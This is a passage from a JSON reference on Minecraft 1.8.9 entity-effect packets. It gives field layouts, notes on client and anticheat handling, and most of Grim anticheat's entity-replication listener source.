packet().getIntegers().readSafely(fieldIndex);\n    if (potionEffectDuration == null) {\n      potionEffectDuration = 0;\n    }\n    return potionEffectDuration;\n  }\n}\n// NOTE (AI): ProtocolLib readSafely accessors with version-dependent indexes; the reader is wired in PacketReaders.setup(ENTITY_EFFECT, ...).",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/packet/reader/EntityEffectReader.java",
       "variations": "Grim and Artemis read the same fields through PacketEvents and the cc.ghast wrapper tree instead of ProtocolLib."
      }
     ]
    }
   },
   "wiki_notes": [
    "The client displays the effect level as amplifier plus one, so amplifier 0 means level 1.",
    "MCP 1.8.9 S1DPacketEntityEffect implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleEntityEffect; wire serde is readPacketData/writePacketData via readByte, readVarIntFromBuffer.",
    "1.8.9 callers: EntityTrackerEntry.? sends new S1DPacketEntityEffect (line 452) +2 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/EntityTrackerEntry.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S1DPacketEntityEffect/",
   "mcp_path": "net/minecraft/network/play/server/S1DPacketEntityEffect.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP",
    "EntityTrackerEntry",
    "ServerConfigurationManager"
   ]
  },
  {
   "id": "S1EPacketRemoveEntityEffect",
   "hex": "0x1E",
   "dec": 30,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Remove Entity Effect",
   "desc": "Removes a potion effect from an entity.",
   "tags": [
    "entity",
    "potion",
    "effect"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "VarInt",
     "desc": "Entity ID"
    },
    {
     "name": "effectId",
     "type": "byte",
     "desc": "Potion effect ID"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     ""
    ],
    [
     "Effect ID",
     "byte",
     "Potion ID"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleRemoveEntityEffect()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S1EPacketRemoveEntityEffect clears one effect from one entity. The only server send site in the corpus is EntityPlayerMP.removePotionEffect, which fires when an effect expires naturally, is cured (milk), is overwritten by a higher-tier re-application, or is stripped on death/respawn. Wire layout is entityId VarInt plus effectId byte. It is the mirror image of S1D: where S1D pushes a full PotionEffect, S1E carries only the potion ID and the client derives everything else from its stored effect."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleRemoveEntityEffect resolves the entity and calls removePotionEffectClient(effectId) on EntityLivingBase. That deletes the map entry, re-applies the entity's attribute modifiers (an expired speed effect removes its movement bonus) and triggers the potion expiry render path. The HUD and effect icons update from the map, so removal needs no separate notification. Unknown entity IDs and unknown effect IDs are ignored without error."
     },
     {
      "h": "Why clients touch it",
      "p": "No module in the 8 reference clients hooks S1E. The only non-vanilla corpus hit is the Rise 6.1.30/6.2.4 NetworkAPI registration (clientbound index 73) for script use. Effect-removal timing is irrelevant to these clients: HUDs redraw from the entity's potion map, and nothing needs to know the exact tick an effect ended because the client never sends effect state back to the server."
     },
     {
      "h": "Exploit surface",
      "p": "Cancelling S1E in a receive event leaves the effect visible client-side while the server has already removed it. Because attributes are re-derived server-side, the client keeps stale visuals only: a cancelled speed-removal leaves the speed icon but not the speed, which is the classic tell of a sloppy client-side potion bypass. Anti-cheats ignore the packet entirely; the abuse surface is purely cosmetic and self-reporting."
     }
    ],
    "overview": "Effect removal is a two-field state push with zero module usage across the 8 reference clients. The only non-vanilla reference is Rise 6.x NetworkAPI registering the class for scripts; everything else is the vanilla handler.",
    "server_handling": "EntityPlayerMP line 932 sends S1E to the affected player whenever removePotionEffect is called on the server-side entity. EntityTrackerEntry does not broadcast removals to watchers in 1.8.9: other players learn about the change through the next attribute or metadata update, which is why effect removal is a per-player packet. There is no server-side inbound handler, as the packet is clientbound.",
    "protocol_notes": "Two fields only: entityId VarInt and effectId byte, no duration, no amplifier, no flags. The client must have received the matching S1D earlier; an S1E for an effect never applied is a no-op. Ordering relative to S1D matters: a remove arriving before the apply is silently dropped, so the effect sticks until its natural expiry.",
    "anticheat_landscape": "Nothing flags S1E. Movement effects are enforced from server-side state, so a client that ignores removals can never outrun the server's speed model. Plugin-side detection would require a client state query that 1.8.9 does not define.",
    "modules": [],
    "general_hooks": "None of the 8 clients register a packet receive handler for S1E. Rise 6.x exposes the class through NetworkAPI's clientbound table for script injection only.",
    "client_variations": "Memeware 7.3, Nekoware v1 private, Sigma 4.11, Spicy and Tenacity 6.0 keep the vanilla handler. Rise 6.1.30/6.2.4 add the NetworkAPI registration; no other client code touches the packet.",
    "related": [
     "S1DPacketEntityEffect",
     "S1CPacketEntityMetadata",
     "S06PacketUpdateHealth"
    ],
    "anticheat": {
     "overview": "The remove-effect packet is the mirror image of S1D: it deletes one potion from one entity. Anticheats that replicate effect state on the server (Grim, Artemis, BetterAnticheat) handle it in the same tracker as the apply packet, with the same transaction confirmation, because an effect that outlives its removal in the simulation keeps inflating the allowed speed and jump envelope. Tecnio whitelists both effect classes in its network filter so the pipeline can route them. No anticheat flags S1E directly: the packet carries only an entity id and an effect id, and the interesting state change happens on the entity, not in the packet.",
     "checks": [
      {
       "name": "Remove-effect replication (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Drop the potion from the compensated entity at the tick the client processes the removal, so the simulation stops crediting the effect's speed or jump bonus.",
       "how_it_works": "The REMOVE_ENTITY_EFFECT branch of PacketEntityReplication decodes the entity id and potion type, forces a transaction when the removal targets the player, and schedules entity.removePotionEffect at the transaction's real-time position. The apply branch in the same listener mirrors the add.",
       "detects": "No cheat directly. A removal that lands late in the simulation keeps the effect's multipliers active too long and desyncs flight and speed checks.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketEntityReplication.java =====\npackage ac.grim.grimac.events.packets;\n\nimport ac.grim.grimac.GrimAPI;\nimport ac.grim.grimac.api.config.ConfigManager;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.LogUtil;\nimport ac.grim.grimac.utils.data.SprintingState;\nimport ac.grim.grimac.utils.data.TrackerData;\nimport ac.grim.grimac.utils.data.packetentity.DashableEntity;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntity;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntityHook;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntityTrackXRot;\nimport ac.grim.grimac.utils.enums.Pose;\nimport ac.grim.grimac.utils.nmsutil.EntityMetadataPoseUtil;\nimport ac.grim.grimac.utils.viaversion.ViaVersionUtil;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.entity.EntityPositionData;\nimport com.github.retrooper.packetevents.protocol.entity.data.EntityData;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityType;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityTypes;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.player.InteractionHand;\nimport com.github.retrooper.packetevents.protocol.player.UserProfile;\nimport com.github.retrooper.packetevents.protocol.potion.PotionType;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerAttachEntity;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerDestroyEntities;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityEffect;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityEquipment;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityMetadata;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityPositionSync;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityRelativeMove;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityRelativeMoveAndRotation;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityRotation;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityStatus;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityTeleport;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfo;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfoRemove;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfoUpdate;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerRemoveEntityEffect;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetPassengers;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetSlot;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnEntity;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnLivingEntity;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnPainting;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnPlayer;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerUpdateAttributes;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerWindowItems;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.UUID;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\npublic class PacketEntityReplication extends Check implements PacketReceiveListener, PacketSendListener {\n\n    private final AtomicBoolean hasSentPreWavePacket = new AtomicBoolean(true);\n\n    // Let's imagine the player is on a boat.\n    // The player breaks this boat\n    // If we were to despawn the boat without an extra transaction, then the boat would disappear before\n    // it disappeared on the client side, creating a ghost boat to flag checks with\n    //\n    // If we were to despawn the tick after, spawning must occur the transaction before to stop the same exact\n    // problem with ghost boats in reverse.\n    //\n    // Therefore, we despawn the transaction after, and spawn the tick before.\n    //\n    // If we despawn then spawn an entity in the same transaction, then this solution would despawn the new entity\n    // instead of the old entity, so we wouldn't see the boat at all\n    //\n    // Therefore, if the server sends a despawn and then a spawn in the same transaction for the same entity,\n    // We should simply add a transaction (which will clear this list!)\n    //\n    // Another valid solution is to simply spam more transactions, but let's not waste bandwidth.\n    private final List<Integer> despawnedEntitiesThisTransaction = new ArrayList<>();\n\n    // Maximum ping when a firework boost is removed from the player.\n    private int maxFireworkBoostPing = 1000;\n\n    public PacketEntityReplication(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPacketReceive(PacketReceiveEvent event) {\n        // Teleports don't interpolate, duplicate 1.17 packets don't interpolate\n        if (!isTickPacket(event.getPacketType())) return;\n        player.compensatedEntities.entitiesRemovedThisTick.clear();\n        boolean isTickingReliably = player.isTickingReliablyFor(3);\n\n        PacketEntity playerVehicle = player.compensatedEntities.self.getRiding();\n        for (PacketEntity entity : player.compensatedEntities.entityMap.values()) {\n            if (entity == playerVehicle && !player.vehicleData.lastDummy) {\n                // The player has this as their vehicle, so they aren't interpolating it.\n                // And it isn't a dummy position\n                entity.setPositionRaw(player, entity.getPossibleLocationBoxes());\n            } else {\n                entity.onMovement(isTickingReliably);\n            }\n        }\n\n        if (player.vehicleData.camelSprintingState == SprintingState.STOPPING) {\n            player.vehicleData.camelSprintingState = SprintingState.STOPPED;\n        } else if (player.vehicleData.camelSprintingState == SprintingState.STOPPED && player.isSprinting) { // For sprint desyncs\n            player.vehicleData.camelSprintingState = SprintingState.STARTED;\n        }\n    }\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n        // ensure grim is the one that sent the transaction\n        if ((event.getPacketType() == PacketType.Play.Server.PING || event.getPacketType() == PacketType.Play.Server.WINDOW_CONFIRMATION) && player.packetStateData.lastServerTransWasValid) {\n            despawnedEntitiesThisTransaction.clear();\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_LIVING_ENTITY) {\n            WrapperPlayServerSpawnLivingEntity packetOutEntity = new WrapperPlayServerSpawnLivingEntity(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getEntityUUID(), packetOutEntity.getEntityType(), packetOutEntity.getPosition(), packetOutEntity.getYaw(), packetOutEntity.getPitch(), packetOutEntity.getEntityMetadata(), 0);\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_ENTITY) {\n            WrapperPlayServerSpawnEntity packetOutEntity = new WrapperPlayServerSpawnEntity(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getUUID().orElse(null), packetOutEntity.getEntityType(), packetOutEntity.getPosition(), packetOutEntity.getYaw(), packetOutEntity.getPitch(), null, packetOutEntity.getData());\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_PLAYER) {\n            WrapperPlayServerSpawnPlayer packetOutEntity = new WrapperPlayServerSpawnPlayer(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getUUID(), EntityTypes.PLAYER, packetOutEntity.getPosition(), packetOutEntity.getYaw(), packetOutEntity.getPitch(), packetOutEntity.getEntityMetadata(), 0);\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_PAINTING) {\n            WrapperPlayServerSpawnPainting packetOutEntity = new WrapperPlayServerSpawnPainting(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getUUID(), EntityTypes.PAINTING, packetOutEntity.getPosition().toVector3d(), 0, 0f, null, packetOutEntity.getDirection().getHorizontalIndex());\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE) {\n            WrapperPlayServerEntityRelativeMove move = new WrapperPlayServerEntityRelativeMove(event);\n            handleMoveEntity(event, move.getEntityId(), move.getDeltaX(), move.getDeltaY(), move.getDeltaZ(), null, null, true, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE_AND_ROTATION) {\n            WrapperPlayServerEntityRelativeMoveAndRotation move = new WrapperPlayServerEntityRelativeMoveAndRotation(event);\n            handleMoveEntity(event, move.getEntityId(), move.getDeltaX(), move.getDeltaY(), move.getDeltaZ(), move.getYaw() * 0.7111111F, move.getPitch() * 0.7111111F, true, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_TELEPORT) {\n            WrapperPlayServerEntityTeleport move = new WrapperPlayServerEntityTeleport(event);\n            Vector3d pos = move.getPosition();\n            handleMoveEntity(event, move.getEntityId(), pos.getX(), pos.getY(), pos.getZ(), move.getYaw(), move.getPitch(), false, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_POSITION_SYNC) {\n            // ENTITY_TELEPORT but without relative flags\n            WrapperPlayServerEntityPositionSync move = new WrapperPlayServerEntityPositionSync(event);\n            final EntityPositionData values = move.getValues();\n            final Vector3d pos = values.getPosition();\n            // TODO this isn't technically correct\n            // If the position sync is to a pos > 4096 from the entity pos, client does some special stuff without interpolation\n            handleMoveEntity(event, move.getId(), pos.getX(), pos.getY(), pos.getZ(), values.getYaw(), values.getPitch(), false, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_ROTATION) { // Affects interpolation\n            WrapperPlayServerEntityRotation move = new WrapperPlayServerEntityRotation(event);\n            handleMoveEntity(event, move.getEntityId(), 0, 0, 0, move.getYaw() * 0.7111111F, move.getPitch() * 0.7111111F, true, false);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_METADATA) {\n            WrapperPlayServerEntityMetadata entityMetadata = new WrapperPlayServerEntityMetadata(event);\n            schedulePoseTransition(entityMetadata, event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.compensatedEntities.updateEntityMetadata(entityMetadata.getEntityId(), entityMetadata.getEntityMetadata()));\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_EQUIPMENT) {\n            WrapperPlayServerEntityEquipment equipment = new WrapperPlayServerEntityEquipment(event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.compensatedEntities.updateEntityEquipment(equipment.getEntityId(), equipment.getEquipment()));\n        }\n\n        // 1.19.3+\n        else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO_UPDATE) {\n            WrapperPlayServerPlayerInfoUpdate info = new WrapperPlayServerPlayerInfoUpdate(event);\n            if (info.getActions().contains(WrapperPlayServerPlayerInfoUpdate.Action.ADD_PLAYER)) {\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                    for (WrapperPlayServerPlayerInfoUpdate.PlayerInfo entry : info.getEntries()) {\n                        final UserProfile gameProfile = entry.getGameProfile();\n                        final UUID uuid = gameProfile.getUUID();\n                        player.compensatedEntities.profiles.put(uuid, gameProfile);\n                    }\n                });\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO_REMOVE) {\n            WrapperPlayServerPlayerInfoRemove remove = new WrapperPlayServerPlayerInfoRemove(event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> remove.getProfileIds().forEach(player.compensatedEntities.profiles::remove));\n        } else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO) {\n            WrapperPlayServerPlayerInfo info = new WrapperPlayServerPlayerInfo(event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                if (info.getAction() == WrapperPlayServerPlayerInfo.Action.ADD_PLAYER) {\n                    for (WrapperPlayServerPlayerInfo.PlayerData entry : info.getPlayerDataList()) {\n                        final UserProfile gameProfile = entry.getUserProfile();\n                        final UUID uuid = gameProfile.getUUID();\n                        player.compensatedEntities.profiles.put(uuid, gameProfile);\n                    }\n                } else if (info.getAction() == WrapperPlayServerPlayerInfo.Action.REMOVE_PLAYER) {\n                    info.getPlayerDataList().forEach(profile -> player.compensatedEntities.profiles.remove(profile.getUserProfile().getUUID()));\n                }\n            });\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_EFFECT) {\n            WrapperPlayServerEntityEffect effect = new WrapperPlayServerEntityEffect(event);\n\n            PotionType type = effect.getPotionType();\n\n            // ViaVersion tries faking levitation effects and fails badly lol, flagging the anticheat\n            // Block other effects just in case ViaVersion gets any ideas\n            //\n            // Set to 24 so ViaVersion blocks it\n            // 24 is the levitation effect\n            if (player.getClientVersion().isOlderThan(ClientVersion.V_1_9) && ViaVersionUtil.isAvailable && type.getId(player.getClientVersion()) > 23) {\n                event.setCancelled(true);\n                return;\n            }\n\n            // ViaVersion dolphin's grace also messes us up, set it to a potion effect that doesn't exist on 1.12\n            // Effect 31 is bad omen\n            if (player.getClientVersion().isOlderThan(ClientVersion.V_1_13) && ViaVersionUtil.isAvailable && type.getId(player.getClientVersion()) == 30) {\n                event.setCancelled(true);\n                return;\n            }\n\n            if (isDirectlyAffectingPlayer(player, effect.getEntityId())) player.sendTransaction();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                PacketEntity entity = player.compensatedEntities.getEntity(effect.getEntityId());\n                if (entity == null) return;\n\n                entity.addPotionEffect(type, effect.getEffectAmplifier());\n            });\n        } else if (event.getPacketType() == PacketType.Play.Server.REMOVE_ENTITY_EFFECT) {\n            WrapperPlayServerRemoveEntityEffect effect = new WrapperPlayServerRemoveEntityEffect(event);\n\n            if (isDirectlyAffectingPlayer(player, effect.getEntityId())) player.sendTransaction();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                PacketEntity entity = player.compensatedEntities.getEntity(effect.getEntityId());\n                if (entity == null) return;\n\n                entity.removePotionEffect(effect.getPotionType());\n            });\n        } else if (event.getPacketType() == PacketType.Play.Server.UPDATE_ATTRIBUTES) {\n            WrapperPlayServerUpdateAttributes attributes = new WrapperPlayServerUpdateAttributes(event);\n\n            int entityID = attributes.getEntityId();\n\n            // The attributes for this entity is active, currently\n            if (isDirectlyAffectingPlayer(player, entityID)) player.sendTransaction();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(),\n                    () -> player.compensatedEntities.updateAttributes(entityID, attributes.getProperties()));\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_STATUS) {\n            WrapperPlayServerEntityStatus status = new WrapperPlayServerEntityStatus(event);\n            // This hasn't changed from 1.7.2 to 1.17\n            // Needed to exempt players on dead vehicles, as dead entities have strange physics.\n            if (status.getStatus() == 3) {\n                PacketEntity entity = player.compensatedEntities.getEntity(status.getEntityId());\n\n                if (entity == null) return;\n                entity.isDead = true;\n            }\n\n            if (status.getStatus() == 9) {\n                if (status.getEntityId() != player.entityID) return;\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.packetStateData.setSlowedByUsingItem(false));\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.packetStateData.setSlowedByUsingItem(false));\n            }\n\n            if (status.getStatus() == 31) {\n                PacketEntity hook = player.compensatedEntities.getEntity(status.getEntityId());\n                if (!(hook instanceof PacketEntityHook hookEntity)) return;\n\n                if (hookEntity.attached == player.entityID) {\n                    player.sendTransaction();\n                    // We don't transaction sandwich this, it's too rare to be a real problem.\n                    player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.uncertaintyHandler.fishingRodPulls.add(hookEntity.owner));\n                }\n            }\n\n            if (status.getStatus() >= 24 && status.getStatus() <= 28 && status.getEntityId() == player.entityID) {\n                player.compensatedEntities.self.opLevel = status.getStatus() - 24;\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.SET_SLOT) {\n            WrapperPlayServerSetSlot slot = new WrapperPlayServerSetSlot(event);\n\n            if (slot.getWindowId() == 0) {\n                Runnable task = () -> {\n                    if (slot.getSlot() - 36 == player.packetStateData.lastSlotSelected && (\n                            !player.inventory.getHeldItem().is(slot.getItem().getType()) || player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8)\n                    ) || slot.getSlot() == 45 && !player.inventory.getOffHand().is(slot.getItem().getType())) {\n                        InteractionHand hand = slot.getSlot() == 45 ? InteractionHand.OFF_HAND : InteractionHand.MAIN_HAND;\n                        if (hand == player.packetStateData.itemInUseHand) {\n                            player.packetStateData.setSlowedByUsingItem(false);\n                        }\n\n                        if (player.isResetItemUsageOnItemUpdate() && hand == GrimAPI.INSTANCE.getItemResetHandler().getItemUsageHand(player.platformPlayer)) {\n                            GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                        }\n                    }\n                };\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), task);\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, task);\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.WINDOW_ITEMS) {\n            WrapperPlayServerWindowItems items = new WrapperPlayServerWindowItems(event);\n\n            if (items.getWindowId() == 0) { // Player inventory\n                Runnable task = () -> {\n                    if (player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8)) {\n                        player.packetStateData.setSlowedByUsingItem(false);\n                        if (player.isResetItemUsageOnItemUpdate()) {\n                            GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                        }\n                    } else {\n                        if (items.getItems().size() > 45 && !player.inventory.getOffHand().is(items.getItems().get(45).getType())) {\n                            if (player.packetStateData.itemInUseHand == InteractionHand.OFF_HAND) {\n                                player.packetStateData.setSlowedByUsingItem(false);\n                            }\n\n                            if (player.isResetItemUsageOnItemUpdate() && GrimAPI.INSTANCE.getItemResetHandler().getItemUsageHand(player.platformPlayer) == InteractionHand.OFF_HAND) {\n                                GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                            }\n                        }\n\n                        if (!player.inventory.getHeldItem().is(items.getItems().get(player.packetStateData.lastSlotSelected + 36).getType())) {\n                            if (player.packetStateData.itemInUseHand == InteractionHand.MAIN_HAND) {\n                                player.packetStateData.setSlowedByUsingItem(false);\n                            }\n\n                            if (player.isResetItemUsageOnItemUpdate() && GrimAPI.INSTANCE.getItemResetHandler().getItemUsageHand(player.platformPlayer) == InteractionHand.MAIN_HAND) {\n                                GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                            }\n                        }\n                    }\n                };\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), task);\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, task);\n            }\n        }\n\n        // 1.8 clients fail to send the RELEASE_USE_ITEM packet when a window is opened client sided while using an item\n        else if (event.getPacketType() == PacketType.Play.Server.OPEN_WINDOW) {\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.packetStateData.setSlowedByUsingItem(false));\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.packetStateData.setSlowedByUsingItem(false));\n        } else if (event.getPacketType() == PacketType.Play.Server.OPEN_HORSE_WINDOW) {\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.packetStateData.setSlowedByUsingItem(false));\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.packetStateData.setSlowedByUsingItem(false));\n        } else if (event.getPacketType() == PacketType.Play.Server.SET_PASSENGERS) {\n            WrapperPlayServerSetPassengers mount = new WrapperPlayServerSetPassengers(event);\n\n            int vehicleID = mount.getEntityId();\n            int[] passengers = mount.getPassengers();\n\n            handleMountVehicle(event, vehicleID, passengers);\n        } else if (event.getPacketType() == PacketType.Play.Server.ATTACH_ENTITY) {\n            WrapperPlayServerAttachEntity attach = new WrapperPlayServerAttachEntity(event);\n\n            // This packet was replaced by the mount packet on 1.9+ servers - to support multiple passengers on one vehicle\n            if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9))\n                return;\n\n            // If this is mounting rather than leashing\n            if (!attach.isLeash()) {\n                // Alright, let's convert this to the 1.9+ format to make it easier for grim\n                int vehicleID = attach.getHoldingId();\n                int attachID = attach.getAttachedId();\n                TrackerData trackerData = player.compensatedEntities.getTrackedEntity(attachID);\n\n                if (trackerData != null) {\n                    // 1.8 sends a vehicle ID of -1 to dismount the entity from its vehicle\n                    // This is opposite of the 1.9+ format, which sends the vehicle ID and then an empty array.\n                    if (vehicleID == -1) { // Dismounting\n                        vehicleID = trackerData.getLegacyPointEightMountedUpon();\n                        handleMountVehicle(event, vehicleID, new int[]{}); // The vehicle is empty\n                    } else { // Mounting\n                        trackerData.setLegacyPointEightMountedUpon(vehicleID);\n                        handleMountVehicle(event, vehicleID, new int[]{attachID});\n                    }\n                } else {\n                    // I don't think we can recover from this... warn and move on as this shouldn't happen.\n                    LogUtil.warn(\"Server sent an invalid attach entity packet for entity \" + attach.getHoldingId() + \" with passenger \" + attach.getAttachedId() + \"! The client ignores this.\");\n                }\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.DESTROY_ENTITIES) {\n            WrapperPlayServerDestroyEntities destroy = new WrapperPlayServerDestroyEntities(event);\n\n            int[] destroyEntityIds = destroy.getEntityIds();\n\n            for (int entityID : destroyEntityIds) {\n                despawnedEntitiesThisTransaction.add(entityID);\n                player.compensatedEntities.serverPositionsMap.remove(entityID);\n                // Remove the tracked vehicle (handling tracking knockback) if despawned\n                if (player.compensatedEntities.serverPlayerVehicle != null && player.compensatedEntities.serverPlayerVehicle == entityID) {\n                    player.compensatedEntities.serverPlayerVehicle = null;\n                }\n            }\n\n            final int destroyTransaction = player.lastTransactionSent.get() + 1;\n            player.latencyUtils.addRealTimeTask(destroyTransaction, () -> {\n                for (int entityId : destroyEntityIds) {\n                    player.compensatedEntities.removeEntity(entityId);\n                    player.dashableEntities.removeEntity(entityId);\n                    player.fireworks.removeFirework(entityId);\n                    player.compensatedEntities.entitiesRemovedThisTick.add(entityId);\n                }\n            });\n\n            // Don't let the player freeze transactions to keep the firework boost velocity + uncertainty\n            // Also generally prevents people with high ping gaining too high an advantage in firework use\n            if (maxFireworkBoostPing > 0) {\n                player.runNettyTaskInMs(() -> {\n                    if (player.lastTransactionReceived.get() >= destroyTransaction) return;\n                    for (int entityID : destroyEntityIds) {\n                        // If the player has a firework boosting them, setback\n                        if (player.fireworks.hasFirework(entityID)) {\n                            player.getSetbackTeleportUtil().executeViolationSetback();\n                            break;\n                        }\n                    }\n                }, maxFireworkBoostPing);\n            }\n        }\n    }\n\n    private void handleMountVehicle(PacketSendEvent event, int vehicleID, int[] passengers) {\n        boolean wasInVehicle = player.compensatedEntities.serverPlayerVehicle != null && player.compensatedEntities.serverPlayerVehicle == vehicleID;\n        boolean inThisVehicle = false;\n\n        for (int passenger : passengers) {\n            inThisVehicle = passenger == player.entityID;\n            if (inThisVehicle) break;\n        }\n\n        if (inThisVehicle && !wasInVehicle) {\n            player.handleMountVehicle(vehicleID);\n        }\n\n        if (!inThisVehicle && wasInVehicle) {\n            player.handleDismountVehicle(event);\n        }\n        // Better lag compensation if we were affected by this\n        if (wasInVehicle || inThisVehicle) {\n            player.sendTransaction();\n        }\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            PacketEntity vehicle = player.compensatedEntities.getEntity(vehicleID);\n\n            // Vanilla likes sending null vehicles, so we must ignore those like the client ignores them\n            if (vehicle == null) return;\n\n            // Eject existing passengers for this vehicle\n            for (PacketEntity passenger : new 